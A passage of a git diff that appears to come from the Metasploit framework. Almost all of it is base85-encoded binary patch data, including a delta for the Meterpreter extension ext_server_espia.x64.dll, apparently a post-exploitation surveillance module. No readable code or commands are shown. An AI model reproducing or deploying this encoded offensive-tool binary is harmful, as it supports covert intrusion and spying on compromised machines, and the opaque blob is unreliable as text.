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 delta 33 mcmZqp!rAbJbHWFfiX}0DjbB>7FfRSV?Y diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 3fdbad4b4c0f9413fe7df07e1ac8bce4bdc8f6bf..5985112bcd7acf75f77aac8a8b47f34353fccaeb 100755 GIT binary patch delta 18042 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 